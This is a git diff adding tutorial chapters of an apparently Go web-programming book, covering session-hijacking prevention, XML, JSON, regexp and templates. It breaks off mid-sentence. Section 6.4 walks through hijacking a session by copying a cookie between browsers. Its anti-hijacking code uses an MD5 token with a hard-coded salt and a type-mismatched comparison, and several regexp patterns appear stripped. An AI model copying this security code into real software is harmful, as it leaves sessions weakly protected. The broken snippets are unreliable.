section: [How to use sessions in Go](06.2.md) +- Next section: [Prevent session hijacking](06.4.md) diff --git a/th/06.4.md b/th/06.4.md new file mode 100644 index 000000000..e5c6cc5f7 --- /dev/null +++ b/th/06.4.md @@ -0,0 +1,93 @@ +# 6.4 Preventing session hijacking + +Session hijacking is a common yet serious security threat. Clients use session id's for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id. + +In this section, we are going to show you how to hijack a session for educational purposes. + +## The session hijacking process + +The following code is a counter for the `count` variable: +```Go + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } +``` +The content of `count.gtpl` is as follows: + + Hi. Now count:{{.}} + +We can see the following content in the browser: + +![](images/6.4.hijack.png?raw=true) + +Figure 6.4 count in browser. + +Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be able to see the following information: + +![](images/6.4.cookie.png?raw=true) + +Figure 6.5 cookies saved in a browser. + +This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser. + +![](images/6.4.setcookie.png?raw=true) + +Figure 6.6 Simulate a cookie. + +Refresh the page and you'll see the following: + +![](images/6.4.hijacksuccess.png?raw=true) + +Figure 6.7 hijacking the session has succeeded. + +Here we see that we can hijack sessions between different browsers, and actions performed in one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that it's session id has been hijacked. + +## prevent session hijacking + +### cookie only and token + +Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking? + +The first step is to only set session id's in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client-side scripts from gaining access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won't be as easy as we demonstrated to get a session id from a cookie manager. + +The second step is to add a token to every request. Similar to the manner in which we dealt with repeating form submissions in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique. +```Go + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + // ask to log in + } + sess.Set("token",token) +``` +### Session id timeout + +Another solution is to add a create time for every session, and to replace expired session id's with new ones. This can prevent session hijacking under certain circumstances such as when the hijack is attempted too late. +```Go + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } +``` +We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session hijacking attempts. + +By combining the two solutions set out above you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session id's that are frequently reset will result in an attacker always getting expired and useless session id's; on the other hand, by setting the httponly property on cookies and ensuring that session id's can only be passed via cookies, all URL based attacks are mitigated. Finally, we set `MaxAge=0` on our cookies, which means that the session id's will not be saved in the browser history. + +## Links + +- [Directory](preface.md) +- Previous section: [Session storage](06.3.md) +- Next section: [Summary](06.5.md) diff --git a/th/06.5.md b/th/06.5.md new file mode 100644 index 000000000..027d1d141 --- /dev/null +++ b/th/06.5.md @@ -0,0 +1,9 @@ +# 6.5 Summary + +In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through everything from creating client sessions to deleting them. We then defined an interface called `Provider` which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I demonstrated one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're able to safely use them in your applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Prevent session hijacking](06.4.md) +- Next chapter: [Text files](07.0.md) diff --git a/th/07.0.md b/th/07.0.md new file mode 100644 index 000000000..d6aba41bc --- /dev/null +++ b/th/07.0.md @@ -0,0 +1,11 @@ +# 7 Text files + +Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go. + +XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go's `template` package for templating your views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 6 Summary](06.5.md) +- Next section: [XML](07.1.md) diff --git a/th/07.1.md b/th/07.1.md new file mode 100644 index 000000000..17fe147ca --- /dev/null +++ b/th/07.1.md @@ -0,0 +1,216 @@ +# 7.1 XML + +XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role in web development. In this section, we're going to introduce how to work with XML through Go's standard library. + +I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go. + +Suppose you work in IT, and you have to deal with the following XML configuration file: +```xml + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` +The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples. + +## Parse XML + +How do we parse this XML document? We can use the `Unmarshal` function in Go's `xml` package to do this. + + func Unmarshal(data []byte, v interface{}) error + +the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures. + +Sample code: +```Go +package main + +import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" +) + +type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` +} + +type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) +} +``` +XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content: +```xml +{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + +} +``` +We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again: +```Go +func Unmarshal(data []byte, v interface{}) error +``` +The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how does it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one-to-one correspondence for the mapping to succeed. + +Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection. + +Here are some rules when using the `xml` package to parse XML documents to structs: + +- If the field type is a string or []byte with the tag `",innerxml"`, `Unmarshal` will assign raw XML data to it, like `Description` in the above example: + + Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2 + +- If a field is called `XMLName` and its type is `xml.Name`, then it gets the element name, like `servers` in above example. +- If a field's tag contains the corresponding element name, then it gets the element name as well, like `servername` and `serverip` in the above example. +- If a field's tag contains `",attr"`, then it gets the corresponding element's attribute, like `version` in above example. +- If a field's tag contains something like `"a>b>c"`, it gets the value of the element c of node b of node a. +- If a field's tag contains `"="`, then it gets nothing. +- If a field's tag contains `",any"`, then it gets all child elements which do not fit the other rules. +- If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`. This field type can be a string or []byte. If this kind of field does not exist, all comments are discarded. + +These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one-to-one correspondence, we can also use slices to represent multiple elements on the same level. + +Note that all fields in structs should be exported (capitalized) in order to parse data correctly. + +## Produce XML + +What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows: +```Go +func Marshal(v interface{}) ([]byte, error) +func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) +``` +The first argument in both of these functions is for storing a marshalled XML data stream. + +Let's look at an example to see how this works: +```Go +package main + +import ( + "encoding/xml" + "fmt" + "os" +) + +type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` +} + +type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) +} +``` +The above example prints the following information: +```xml + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` +As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly. + +Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document? + +- If v is an array or slice, it prints all elements like a value. +- If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil. +- If v is a interface, it deal with the interface as well. +- If v is one of the other types, it prints the value of that type. + +So how does `xml.Marshal` decide the elements' name? It follows the ensuing rules: + +- If v is a struct, it defines the name in the tag of XMLName. +- The field name is XMLName and the type is xml.Name. +- Field tag in struct. +- Field name in struct. +- Type name of marshal. + +Then we need to figure out how to set tags in order to produce the final XML document. + +- XMLName will not be printed. +- Fields that have tags containing `"-"` will not be printed. +- If a tag contains `"name,attr"`, it uses name as the attribute name and the field value as the value, like `version` in the above example. +- If a tag contains `",attr"`, it uses the field's name as the attribute name and the field value as its value. +- If a tag contains `",chardata"`, it prints character data instead of element. +- If a tag contains `",innerxml"`, it prints the raw value. +- If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value. +- If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. +- If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code: +```xml +FirstName string `xml:"name>first"` +LastName string `xml:"name>last"` + + +Asta +Xie + +``` +You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section. + +## Links + +- [Directory](preface.md) +- Previous section: [Text files](07.0.md) +- Next section: [JSON](07.2.md) diff --git a/th/07.2.md b/th/07.2.md new file mode 100644 index 000000000..8a4abc9b7 --- /dev/null +++ b/th/07.2.md @@ -0,0 +1,232 @@ +# 7.2 JSON + +JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages. + +The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language. + +Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON. + +Here we use JSON to represent the example in the previous section: +```json +{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} +``` +The rest of this section will use this JSON data to introduce JSON concepts in Go. + +## Parse JSON + +### Parse to struct + +Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose: +```Go +func Unmarshal(data []byte, v interface{}) error +``` +We can use this function like so: + +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) +} +``` +In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field? + +- First, Go tries to find the (capitalised) exported field whose tag contains `Foo`. +- If no match can be found, look for the field whose name is `Foo`. +- If there are still not matches look for something like `FOO` or `FoO`, ignoring case sensitivity. + +You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don't need can easily be discarded. + +### Parse to interface + +When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know? + +We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations: + +- `bool` represents `JSON booleans`, +- `float64` represents `JSON numbers`, +- `string` represents `JSON strings`, +- `nil` represents `JSON null`. + +Suppose we have the following JSON data: +```Go +b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) +``` +Now we parse this JSON to an interface{}: +```Go +var f interface{} +err := json.Unmarshal(b, &f) +``` +The `f` stores a map, where keys are strings and values are interface{}'s'. +```Go +f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, +} +``` +So, how do we access this data? Type assertion. +```Go +m := f.(map[string]interface{}) +``` +After asserted, you can use the following code to access data: +```Go +for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } +} +``` +As you can see, we can now parse JSON of an unknown format through interface{} and type assertion. + +The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by bitly. Here is an example of how to use this project to deal with JSON of an unknown format: +```Go +js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } +}`)) + +arr, _ := js.Get("test").Get("array").Array() +i, _ := js.Get("test").Get("int").Int() +ms := js.Get("test").Get("string").MustString() +``` +It's not hard to see how convenient this is. Check out the repository to see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). + +## Producing JSON + +In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that: +```Go +func Marshal(v interface{}) ([]byte, error) +``` +Suppose we need to produce a server information list. We have following sample: +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) +} +``` +Output: +```json +{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} +``` +As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields. +```Go +type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` +} + +type Serverslice struct { + Servers []Server `json:"servers"` +} +``` +After this modification, we can produce the same JSON data as before. + +Here are some points you need to keep in mind when trying to produce JSON: + +- Field tags containing `"-"` will not be outputted. +- If a tag contains a customized name, Go uses this instead of the field name, like `serverName` in the above example. +- If a tag contains `omitempty`, this field will not be outputted if it is zero-value. +- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type. + +Example: +```Go +type Server struct { + // ID will not be outputed. + ID int `json:"-"` + + // ServerName2 will be converted to JSON type. + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // If ServerIP is empty, it will not be outputted. + ServerIP string `json:"serverIP,omitempty"` +} + +s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, +} +b, _ := json.Marshal(s) +os.Stdout.Write(b) +``` +Output: +```json +{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} +``` +The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind: + +- JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. +- Types like channel, complex types and functions are not capable of being encoded to JSON. +- Do not try to encode cyclic data, it leads to an infinite recursion. +- If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil. + +In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called `simplejson` which is useful for parsing JSON or unknown format. These are all useful concepts for developing web applications in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [XML](07.1.md) +- Next section: [Regexp](07.3.md) diff --git a/th/07.3.md b/th/07.3.md new file mode 100644 index 000000000..704347cf7 --- /dev/null +++ b/th/07.3.md @@ -0,0 +1,240 @@ +# 7.3 Regexp +Regular Expressions ("Regexp") is a complicated but powerful tool for pattern matching and text manipulation. Although it does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it's not difficult to use Regexp to retrieve meaningful data. + +Go has the `regexp` package, which provides official support for regexp. If you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for `\C`. For more details, follow this link: [http://code.google.com/p/re2/wiki/Syntax](http://code.google.com/p/re2/wiki/Syntax). + +Go's `strings` package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the `strings` package is sufficient for your needs, just use it since it's easy to use and read; if you need to perform more advanced operations, use Regexp. + +If you recall form validation from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let's learn more about the Go `regexp` package! + +## Match + +The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise. +```Go +func Match(pattern string, b []byte) (matched bool, error error) +func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) +func MatchString(pattern string, s string) (matched bool, error error) +``` +All 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. + +Here is an example of how to verify an IP address: +```Go +func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true +} +``` +As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying whether user input is valid: +```Go +func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("Number") + } else { + fmt.Println("Not number") + } +} +``` +In the above examples, we use `Match(Reader|String)` to check if content is valid, but they are all easy to use. + +## Filter + +Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use the complex mode of Regexp. + +Let's say we need to write a crawler. Here is an example for when you must use Regexp to filter and cut data. +```Go +package main + +import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" +) + +func main() { + resp, err := http.Get("http://www.baidu.com/") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + // Convert HTML tags to lower case. + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + // Remove STYLE. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove SCRIPT. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove all HTML code in angle brackets, and replace with newline. + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + // Remove continuous newline. + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) +} +``` +In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. + +Here are some functions to parse your Regexp syntax: +```Go +func Compile(expr string) (*Regexp, error) +func CompilePOSIX(expr string) (*Regexp, error) +func MustCompile(str string) *Regexp +func MustCompilePOSIX(str string) *Regexp +``` +The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. + +Now that we know how to create a new Regexp, let's see how the methods provided by this struct can help us to operate on content: +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllString(s string, n int) []string +func (re *Regexp) FindAllStringIndex(s string, n int) [][]int +func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string +func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) +func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int +func (re *Regexp) FindString(s string) string +func (re *Regexp) FindStringIndex(s string) (loc []int) +func (re *Regexp) FindStringSubmatch(s string) []string +func (re *Regexp) FindStringSubmatchIndex(s string) []int +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: +```Go +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +Code sample: +```Go +package main + +import ( + "fmt" + "regexp" +) + +func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + // Find the first match. + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + // Find index of first match, start and end position. + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + // Find index of all matches, the n does same job as above. + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). + // Output: + // the first element: "am learning Go language" + // the second element: " learning Go ", notice spaces will be outputed as well. + // the third element: "uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + // Same as FindIndex(). + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + // FindAllSubmatch, find all submatches. + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + // FindAllSubmatchIndex,find index of all submatches. + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) +} +``` +As we've previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported functions. In fact, those exported functions actually call these methods under the hood: +```Go +func (re *Regexp) Match(b []byte) bool +func (re *Regexp) MatchReader(r io.RuneReader) bool +func (re *Regexp) MatchString(s string) bool +``` +Next, let's see how to replace strings using Regexp: +```Go +func (re *Regexp) ReplaceAll(src, repl []byte) []byte +func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte +func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte +func (re *Regexp) ReplaceAllLiteralString(src, repl string) string +func (re *Regexp) ReplaceAllString(src, repl string) string +func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string +``` +These are used in the crawling example, so we will not explain any further here. + +Let's take a look at the definition of `Expand`: +```Go +func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte +func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte +``` +So how do we use `Expand`? +```Go +func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) +} +``` +At this point, you've learnt the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own. + +## Links + +- [Directory](preface.md) +- Previous section: [JSON](07.2.md) +- Next section: [Templates](07.4.md) diff --git a/th/07.4.md b/th/07.4.md new file mode 100644 index 000000000..a4883dcde --- /dev/null +++ b/th/07.4.md @@ -0,0 +1,471 @@ +# 7.4 Templates + +## What is a template? + +Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting `<%=....=%>`, PHP by inserting ``, etc. + +The following demonstrates the template mechanism: +![](images/7.4.template.png?raw=true) + +Figure 7.1 Template mechanism + +Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to display a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content. + +## Templating in Go + +In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, as shown in figure 7.1. + +Example: +```Go +func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") // Create a template. + t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. + user := GetUser() // Get current user infomration. + t.Execute(w, user) // merge. +} +``` +As you can see, it's very easy to use, load and render data in templates in Go, just as in other programming languages. + +For the sake of convenience, we will use the following rules in our examples: + +- Use `Parse` to replace `ParseFiles` because `Parse` can test content directly from strings, so we don't need any extra files. +- Use `main` for every example and do not use `handler`. +- Use `os.Stdout` to replace `http.ResponseWriter` since `os.Stdout` also implements the `io.Writer` interface. + +## Inserting data into a template + +We've just shown you how to parse and render templates. Let's take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates? + +### Fields + +In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: +```Go +package main + +import ( + "html/template" + "os" +) + +type Person struct { + UserName string +} + +func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) +} +``` +The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges: +```Go +type Person struct { + UserName string + email string // Field is not exported. +} + +t, _ = t.Parse("hello {{.UserName}}! {{.email}}") +``` +This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error. + +If you print `{{.}}` in a template, Go outputs a formatted string of this object, calling `fmt` under the covers. + +### Nested fields + +We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use `{{with …}}…{{end}}` and 